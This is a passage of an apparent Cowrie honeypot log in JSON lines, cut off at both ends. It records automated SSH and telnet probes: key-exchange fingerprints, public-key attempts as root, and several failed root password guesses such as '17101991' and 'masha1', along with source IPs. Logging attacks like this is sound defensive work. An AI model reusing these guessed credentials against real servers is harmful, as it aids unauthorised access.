sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.440830Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBALu/WKKHy5xW809Xy85jVTj6KHOwzU3oIUQ1V98XcZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.518749Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBALu/WKKHy5xW809Xy85jVTj6KHOwzU3oIUQ1V98XcZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.522887Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:91:c9:a5:0c:c7:9f:07:83:2a:a8:72:ec:a0:1e:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsvegqFoDzIYCxJ3pBTC9JtYS/kl2KZ0kdu2IFF+KVEs52Q4GWkufVKaEIY398nsFIKi7vaZVQFA5PC0TPO+XgBJO9RvbPV+3AsDbysXUv2Z9iGeRXyT4g4AB43QHhoz0VAnmiM8Bb7JINS/7YYM5GjpZNhisqDsVHNDo1Di6Q/SDRb7NiU0xrIlMqVCC8rH42LvPHn5PqaWTWnMO1GqKVpyiDBycW0wnGg8jYlE67JSYX+RSL5yF+Rf5pZiKmhDyWZ2f5OBcgsRLTxvXj1ZuDI5F/besa1M0Ja4/rME4sncM7uL9Y2HnPO+2cBhJKE3isqvhqm7FIWwKXjRJHuJ63","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:91:c9:a5:0c:c7:9f:07:83:2a:a8:72:ec:a0:1e:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.543710Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:91:c9:a5:0c:c7:9f:07:83:2a:a8:72:ec:a0:1e:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsvegqFoDzIYCxJ3pBTC9JtYS/kl2KZ0kdu2IFF+KVEs52Q4GWkufVKaEIY398nsFIKi7vaZVQFA5PC0TPO+XgBJO9RvbPV+3AsDbysXUv2Z9iGeRXyT4g4AB43QHhoz0VAnmiM8Bb7JINS/7YYM5GjpZNhisqDsVHNDo1Di6Q/SDRb7NiU0xrIlMqVCC8rH42LvPHn5PqaWTWnMO1GqKVpyiDBycW0wnGg8jYlE67JSYX+RSL5yF+Rf5pZiKmhDyWZ2f5OBcgsRLTxvXj1ZuDI5F/besa1M0Ja4/rME4sncM7uL9Y2HnPO+2cBhJKE3isqvhqm7FIWwKXjRJHuJ63","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.548079Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:05:97:bc:24:0c:b3:98:41:86:36:1d:c5:09:f1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF7UQ+6j4tjvdthOLmRAprEvKQ8FX0cgqJGJVHiaVepuO3xMSIp5rXlQRqsfV3JOnWmeJt5nLS0QbO//3QvD9pq+60sD6uFyOQU1jxHo2olbQBwg1k4mCI1wTMqlPzulZyUK1VYBW677TzfKxieTe1kSxtdg1Vk3OvdMF06118NyQQuQGwjjLiHyuowk0Nrnz03Xing2fDfv/bXHXWnZPOJ+VQWppZeDqbnpwjSvFWhD7CYmpfG3d1xgD4ZuEGpG+tgzMOwTn1PiFml2//JtQskIqEJHsAVygSalRM832c++lIv+FpbQesn0SooJHeLQFUGvUcSojnwLJwaM/5/WbV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:05:97:bc:24:0c:b3:98:41:86:36:1d:c5:09:f1:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.569427Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:05:97:bc:24:0c:b3:98:41:86:36:1d:c5:09:f1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF7UQ+6j4tjvdthOLmRAprEvKQ8FX0cgqJGJVHiaVepuO3xMSIp5rXlQRqsfV3JOnWmeJt5nLS0QbO//3QvD9pq+60sD6uFyOQU1jxHo2olbQBwg1k4mCI1wTMqlPzulZyUK1VYBW677TzfKxieTe1kSxtdg1Vk3OvdMF06118NyQQuQGwjjLiHyuowk0Nrnz03Xing2fDfv/bXHXWnZPOJ+VQWppZeDqbnpwjSvFWhD7CYmpfG3d1xgD4ZuEGpG+tgzMOwTn1PiFml2//JtQskIqEJHsAVygSalRM832c++lIv+FpbQesn0SooJHeLQFUGvUcSojnwLJwaM/5/WbV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.573702Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01461577415466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.592891Z","src_ip":"178.215.165.180","session":"bdd537f41ea9","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:88:2b:c7:ed:a6:70:41:54:47:1f:47:35:d3:fa:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvBiUHq66aEVbHXJWVCZixUjfNopiyPE77NMx78W0sUS5frVuzgOcvIhjZekX4GCxNivdbSDIGzPhdoHv2gl5+2F+tp8fMP6CbQZwst1HrxndCvxt3fo29xsmDvMZ4dS0Js3lUbS9p5Y5QY9TokhrFpO86mxFnLkvSFPe8kvitC5xLRCFUdJmFTraVVoodKXiGZSeTfOw0JCpvlmA2nZWT3ntYXghzACwgCfP7dDrRlsoWK2dB9XrJP5bs/VWRVuP3bIrS9Z3Sm8vrDdT3bO6Rm9WtX36GHiX18H/GGEdzgnmEVBU3hoS5jxBEUAS3Eaz0GOq7VSx62B85H8EmsMrLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:88:2b:c7:ed:a6:70:41:54:47:1f:47:35:d3:fa:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.603926Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:88:2b:c7:ed:a6:70:41:54:47:1f:47:35:d3:fa:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvBiUHq66aEVbHXJWVCZixUjfNopiyPE77NMx78W0sUS5frVuzgOcvIhjZekX4GCxNivdbSDIGzPhdoHv2gl5+2F+tp8fMP6CbQZwst1HrxndCvxt3fo29xsmDvMZ4dS0Js3lUbS9p5Y5QY9TokhrFpO86mxFnLkvSFPe8kvitC5xLRCFUdJmFTraVVoodKXiGZSeTfOw0JCpvlmA2nZWT3ntYXghzACwgCfP7dDrRlsoWK2dB9XrJP5bs/VWRVuP3bIrS9Z3Sm8vrDdT3bO6Rm9WtX36GHiX18H/GGEdzgnmEVBU3hoS5jxBEUAS3Eaz0GOq7VSx62B85H8EmsMrLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.607748Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:c2:ca:af:28:01:a3:84:75:57:18:20:86:3b:b7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLYLF/24x6iXhxNxldSk9NetyQdJ6Qek/7WgqAuCma9SilzvMPa9Ew6zoXjNHIfLHMkE2Lm+ZHx6cRf2X+UPoj95vZz159JKOxhWVQSyAiCr6vTGlNnwrfUBltmvxyD2OVICGnO2dJ66gSSSqey33bCDoL0LRvWBBUPvfStMVVBphVMfmzPaa9O1RCQwL12Iq4lNohLxvtP8aZVpfPsye2Px/DT/Ot3b9B9FdpVmgKFxW+2B3iDNHVs5Mm/2YONA+5zzoEiIn523DN2iFx3TLL4/TIgs145pYbqEawVa2DtNXeajkybS6CmCRW6O7+Xvc+4bHF36ubeNTSBQasWbQf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:c2:ca:af:28:01:a3:84:75:57:18:20:86:3b:b7:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.629120Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:c2:ca:af:28:01:a3:84:75:57:18:20:86:3b:b7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLYLF/24x6iXhxNxldSk9NetyQdJ6Qek/7WgqAuCma9SilzvMPa9Ew6zoXjNHIfLHMkE2Lm+ZHx6cRf2X+UPoj95vZz159JKOxhWVQSyAiCr6vTGlNnwrfUBltmvxyD2OVICGnO2dJ66gSSSqey33bCDoL0LRvWBBUPvfStMVVBphVMfmzPaa9O1RCQwL12Iq4lNohLxvtP8aZVpfPsye2Px/DT/Ot3b9B9FdpVmgKFxW+2B3iDNHVs5Mm/2YONA+5zzoEiIn523DN2iFx3TLL4/TIgs145pYbqEawVa2DtNXeajkybS6CmCRW6O7+Xvc+4bHF36ubeNTSBQasWbQf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.633433Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:58:33.655032Z","src_ip":"148.113.221.241","session":"93fe2874ab0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"90.68.171.70","src_port":41702,"dst_ip":"159.203.135.109","dst_port":23,"session":"54418f7d9796","protocol":"telnet","message":"New connection: 90.68.171.70:41702 (159.203.135.109:23) [session: 54418f7d9796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:10.468700Z"}
{"eventid":"cowrie.session.closed","duration":12.46443510055542,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:22.933046Z","src_ip":"90.68.171.70","session":"54418f7d9796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36556,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff07e7ba2762","protocol":"ssh","message":"New connection: 193.37.70.224:36556 (10.17.0.5:22) [session: ff07e7ba2762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:41.634509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:41.639497Z","src_ip":"193.37.70.224","session":"ff07e7ba2762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:41.729028Z","src_ip":"193.37.70.224","session":"ff07e7ba2762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17101991","message":"login attempt [root/17101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:41.998486Z","src_ip":"193.37.70.224","session":"ff07e7ba2762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:59:43.096006Z","src_ip":"193.37.70.224","session":"ff07e7ba2762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33008,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e2343f6cf6","protocol":"ssh","message":"New connection: 103.82.132.16:33008 (10.17.0.5:22) [session: 71e2343f6cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:08.480809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:08.487777Z","src_ip":"103.82.132.16","session":"71e2343f6cf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:08.753566Z","src_ip":"103.82.132.16","session":"71e2343f6cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yss125","message":"login attempt [root/yss125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:09.531472Z","src_ip":"103.82.132.16","session":"71e2343f6cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:10.795612Z","src_ip":"103.82.132.16","session":"71e2343f6cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":49974,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f316f0f82c1","protocol":"ssh","message":"New connection: 87.251.79.125:49974 (10.17.0.5:22) [session: 0f316f0f82c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:45.429211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:45.435125Z","src_ip":"87.251.79.125","session":"0f316f0f82c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:45.509775Z","src_ip":"87.251.79.125","session":"0f316f0f82c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22021991","message":"login attempt [root/22021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:45.731822Z","src_ip":"87.251.79.125","session":"0f316f0f82c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:00:46.808364Z","src_ip":"87.251.79.125","session":"0f316f0f82c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":50620,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6579ed35842","protocol":"ssh","message":"New connection: 103.98.149.87:50620 (159.203.135.109:22) [session: e6579ed35842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:17.082692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:17.286825Z","src_ip":"103.98.149.87","session":"e6579ed35842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:17.556777Z","src_ip":"103.98.149.87","session":"e6579ed35842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha1","message":"login attempt [root/masha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:18.869086Z","src_ip":"103.98.149.87","session":"e6579ed35842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:20.215133Z","src_ip":"103.98.149.87","session":"e6579ed35842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":43450,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1e64f43d10","protocol":"ssh","message":"New connection: 51.250.105.222:43450 (159.203.135.109:22) [session: fa1e64f43d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.012398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:01:59.018205Z","src_ip":"51.250.105.222","session":"fa1e64f43d10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","